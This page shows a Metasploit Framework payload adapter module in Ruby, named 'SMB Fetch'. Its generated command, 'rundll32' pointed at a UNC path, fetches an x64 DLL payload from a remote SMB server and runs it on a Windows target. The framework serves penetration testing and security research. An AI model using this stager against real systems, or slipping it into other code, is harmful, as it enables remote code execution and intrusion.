CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/adapters/cmd/windows/smb/x64.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
include Msf::Payload::Adapter::Fetch::SMB
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'SMB Fetch',
14
'Description' => 'Fetch and execute an x64 payload from an SMB server.',
15
'Author' => 'Spencer McIntyre',
16
'Platform' => 'win',
17
'Arch' => ARCH_CMD,
18
'License' => MSF_LICENSE,
19
'AdaptedArch' => ARCH_X64,
20
'AdaptedPlatform' => 'win'
21
)
22
)
23
deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR')
24
end
25
26
def srvport
27
445 # UNC paths for SMB services *must* be 445
28
end
29
30
def generate_fetch_commands
31
"rundll32 #{unc},0"
32
end
33
34
# generate a DLL instead of an EXE
35
alias generate_payload_exe generate_payload_dll
36
end
37
38